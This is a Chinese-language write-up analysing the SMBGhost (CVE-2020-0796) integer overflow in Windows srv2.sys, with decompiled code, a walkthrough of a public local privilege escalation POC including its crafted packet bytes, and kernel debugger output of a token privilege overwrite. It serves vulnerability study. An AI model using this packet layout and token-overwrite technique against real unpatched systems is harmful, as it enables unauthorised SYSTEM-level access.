# CVE-2020-0796
-----------
# 概述:
SMBv3从Windows 10/Server版本1903开始添加的压缩功能存在整数溢出漏洞,微软于2020年3月12日确认。攻击者可以利用该漏洞实现本地权限提升(LPE)和远程代码执行(RCE)。此处仅讨论LPE漏洞。
**受影响版本**:
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows Server, version 1909 (Server Core installation)
# SMB解压缩过程分析:
分析`srv2.sys`文件,发现与解压缩相关的函数调用如下:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
```
首先调用函数 `Srv2ReceiveHandler` 来接收一个 smb 数据包,并根据协议 `ProtocolId` 调用相应的函数。如果 `PrococolId` = 0x424D53FC,则会调用函数 `Srv2DecompressMessageAsync`,该函数会进一步调用 `Srv2DecompressData` 来解压数据包。函数 `Srv2DecompressData` 会调用 `SrvNetAllocateBuffer` 来分配一个 `Alloc` 用于存储解压后的数据,然后调用 `SmbCompressionDecompress` 进行解压,最后调用 `memcpy`。因此整个解压过程包括以下主要步骤:
- 1. Allocate
- 2. Decompress
- 3. Copy
根据 Microsoft 提供的文档,结构体 `COMPRESSION_TRANSFORM_HEADER` 用于在客户端和服务器之间发送和接收压缩数据。其结构如下:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
```
这里我们只关注上面的两个主要字段:
- `OriginalCompressedSegmentSize` 是未压缩数据段的大小,以字节为单位。
- `Offset` 是压缩数据起始点与 `_COMPRESSION_TRANSFORM_HEADER` 结构结束点之间的字节偏移量。
因此,压缩数据包的形式如下:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
```
分析函数 `Srv2DecompressData`,发现该函数接收一个压缩数据包 `COMPRESSION_TRANSFORM_HEADER`(头部),然后通过 `SrvNetAllocateBuffer` 函数分配一块内存(Alloc),参数为 `Header->OriginalCompressedSegmentSize` + `Header->Offset` 的总和,随后解压压缩数据并将未压缩的数据复制到 `Alloc->Buffer` 中。

当 `Srv2DecompressData` 调用 `SrvNetAllocateBuffer` 时会发生整数溢出错误,`SrvNetAllocateBuffer` 实际上接收两个 64 位值,但在调用 `SrvNetAllocateBuffer` 时,`Srv2DecompressData` 仅传入两个 32 位值(ULONG)。而 `OriginalCompressedSegmentSize` 和 `Offset` 都是 ULONG 类型,当它们相加时,可能产生超过 32 位的数值。因此导致整数溢出错误(简单来说就是,将 0xffffffff(`OriginalCompressedSegmentSize`)与 0x10(`Offset`)相加会得到 0xf0000000f,但 `SrvNetAllocateBuffer` 只接收到 0x0000000f)。

整数溢出错误会导致 Alloc 内存分配错误(实际所需分配的大小小于实际大小),从而可能引发缓冲区溢出错误:

为了解缓冲区溢出是否发生以及如何发生,我们将分析 `SrvNetAllocateBuffer` 和 `SmbCompressionDecompress` 函数。``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
```
上面的代码来自IDA Pro的伪代码,看起来相当难以理解。然而,我们可以通过查看由[Zecops](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)重写的代码来简单理解:``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
// ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
```
函数`SrvNetAllocateBuffer`接收需要分配的大小,然后检查该大小是否大于0x100100,如果大于则返回NULL。该函数还检查变量`SrvDisableNetBufferLookAsideList`,然而,我没有找到任何关于此变量的文档,并且它默认设置为0,所以可能不太重要。
如果条件满足,函数将继续根据输入的AllocSize计算一个索引值,然后根据计算出的索引从数组`SrvNetBufferLookasides`(该数组有9个元素)中取出一个值并进行分配。从汇编代码中,Zecops使用`python`计算出了每个索引对应的大小:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
```
因此,对于小于或等于0x1100大小的分配请求,函数将分配大小为0x1100的内存区域;对于大于0x1100且小于或等于0x2100大小的分配请求,函数将分配大小为0x2100的内存区域;更大分配请求的情况以此类推。
分配完成后,函数将返回一个地址,该地址存储了一个由Zcops命名为 `ALLOCATION_HEADER` 的结构体。根据研究,该结构体包含的数据如下:

有趣的一点是,`ALLOCATION_HEADER` 恰好位于 `ALLOCATION_HEADER->UserBuffer` 的正下方,如果能够对 `UserBuffer` 进行缓冲区溢出,我们就可以向 `ALLOCATION_HEADER` 写入任意值。

接下来我们看看 `SmbCompressionDecompress` 函数做了什么:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0;
v6 = 0i64;
LODWORD(NumberOfBytes) = 0;
v7 = AllocUserbufferDecompress;
v8 = DataCompressed;
if ( !CompressionAlgorithm )
goto LABEL_2;
v10 = CompressionAlgorithm - 1;
if ( v10 )
{
v11 = v10 - 1;
if ( v11 )
{
if ( v11 != 1 )
{
LABEL_2:
v9 = 0xC00000BB;
return (unsigned int)v9;
}
v12 = 4;
}
else
{
v12 = 3;
}
}
else
{
v12 = 2;
}
if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 )
{
v13 = FinalCompressedSize;
v14 = OriginalCompressedSegmentSize;
v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8);
if ( v9 >= 0 )
*(_DWORD *)v13 = v14;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
else
{
v9 = 0xC000009A;
}
return (unsigned int)v9;
}
```
上面的代码是从IDA的伪代码中提取的,如果你不理解上面的代码做什么,可以查看由Zecops重写的代码:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
```
此函数基本执行解压被压缩的数据,并将其存入 `Alloc->UserBuffer` + `Offset`。若解压成功,参数 `FinalCompressedSize` 将被赋值为参数 `CompressedBufferSize`,即从 `Srv2DecompressData` 函数传入的 `OriginalCompressedSegmentSize` 值。
回到 `Srv2DecompressData` 函数,在执行 `SmbCompressionDecompress` 函数后,该函数将继续比较 `FinalCompressedSize` 与 `OriginalCompressedSegmentSize` 是否相等,并且返回的 `Status` 是否 < 0。``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
```
正如上文所述,如果解压成功,则`FinalCompressedSize`和`OriginalCompressedSegmentSize`相等,并且返回的`Status`大于或等于0。因此,如果解压成功,则上面if函数中的代码将不会被执行。我们将继续分析接下来的代码:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
```
这段代码将检查`Header->Offset` > 0。`Offset`的值是压缩数据区域与`Header`末尾之间的偏移量,对应于未压缩数据区域的大小。然后调用`memcpy`函数将未压缩数据区域复制到`Alloc->UserBuffer`的开头。
因此,如果可以利用缓冲区溢出漏洞,通过覆盖`Alloc Header`区域来改变`Alloc->UserBuffer`指针的值,使其指向地址A,那么地址A将包含客户端发送的未解压数据。为了更清楚,我们将分析Daniel García Gutiérrez ([@danigargu](https://twitter.com/danigargu)) 和 Manuel Blanco Parajón ([@dialluvioso_](https://twitter.com/dialluvioso_)) 的[POC](https://github.com/danigargu/CVE-2020-0796),然后进行调试以更好地理解。
# 分析POC:
POC执行以下操作:
- 获取自身的令牌。
- 创建一个大小为0x1110的`buffer`数组,在数组开头存储0x1108个字符'A',然后存储上面获取的`[Token + 0x40]`值。这样做的目的我们稍后解释。
- 压缩`buffer`数组中的数据并存储到`compressed_buffer`数组中。
- 创建一个包含如下数据的`buf`数组:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
```
- 然后创建一个大小为 `sizeof(buf) + 0x10 + len` 的数组 `packet`,其中 `len` 是上述压缩后的 `buffer` 大小(`compressed_buffer` 的**数据**大小)。
- 将数组 `buf` 的数据复制到 `packet` 中,接着将值 `0x1FF2FFFFBC` 复制进去,然后将数组 `compressed_buffer` 的数据复制进去:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
```
- 发送 `packet` 到 SMB 服务器。
- 完成上一步后,POC 程序已提权至 system,接着 POC 会 OpenProcess winlogon.exe 并注入打开的 cmd shellcode。
下面我将解释上述 POC 中提到的关键点。
为什么需要创建大小为 0x1110 字节的 `buffer` 数组,并在其中存储 0x1108 个字符 A 和一个值 `[token + 0x40]`。总体而言,此 POC 的目的是利用 `SMB` 中的函数来修改自身 `token->Privileges` 的值(`[Token + 0x40]`)。
在 SMB 头部中,我们需要关注原始解压大小和偏移量,其值分别为 0xffffffff 和 0x00000010。目的是让 SMB 发生整数溢出漏洞,从而分配一个大小仅为 0x1100 的 `Alloc->Buffer` 数组(< 0x1110 + 原始数据大小)。
值 `0x1FF2FFFFBC` 存储在头部之后的 0x10 字节处,这是 SYSTEM 进程的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 中存储的值,对应地,如果某个进程的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 等于 `0x1FF2FFFFBC`,则该进程将拥有 SYSTEM 进程的权限。
根据上述信息,我们可以推断出 POC 试图让 SMB 中的函数将其自身的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 修改为 `0x1FF2FFFFBC`。要确切了解,我们将进入内核调试部分。
# Debug Kernel
首先,我们在函数 `Srv2DecompressData` 的入口处设置断点。```
0: kd> bm srv2!Srv2DecompressData
1: fffff807`17c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
```
然后运行POC,函数 `Srv2DecompressData` 将被调用,内核将停在函数 `srv2!Srv2DecompressData` 的开头。
接下来查看Header的数据:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
```
这是POC发送到SMB的`packet`数组数据,如上述POC分析所示,前0x10字节是SMB Header部分,接下来的0x10字节包含两次`0x1FF2FFFFBC`值,是原始数据区域,再接下来的0x13字节是已压缩的缓冲区数据。因此Header的总大小为0x33字节。
接下来调用`SrvNetAllocateBuffer`函数,查看传入的参数,确实验证了`SrvNetAllocateBuffer`函数接收参数`0xf`和`null`。

`SrvNetAllocateBuffer`函数的返回值是一个指向`ALLOCATION_HEADER`结构体的指针(按照本文的称呼)。```
1: kd> dd rax
ffffd10e`94729150 ca9a7573 417b1178 32fe5f70 dc85f193
ffffd10e`94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029
```

接下来,函数 `SmbCompressionDecompress` 将被调用,它将解压缩并将解压后的数据写入 `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000
```

此时 `Alloc->Buffer` 已被覆盖为地址 `[Token + 0x40]`。函数 `Srv2DecompressData` 调用 `memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset);` 将原始数据复制到 `Alloc->UserBuffer`。然而 `Alloc->UserBuffer` 已被覆盖为 `Token->Privileges`,因此原始数据将被写入 `Token->Privileges`:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001f`f2ffffbc
+0x008 Enabled : 0x0000001f`f2ffffbc
+0x010 EnabledByDefault : 0x40800000
```

在此,POC程序已获得SYSTEM权限,下一步是打开一个SYSTEM程序(winlogon.exe)并注入shellcode以打开cmd。
# 参考资料
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>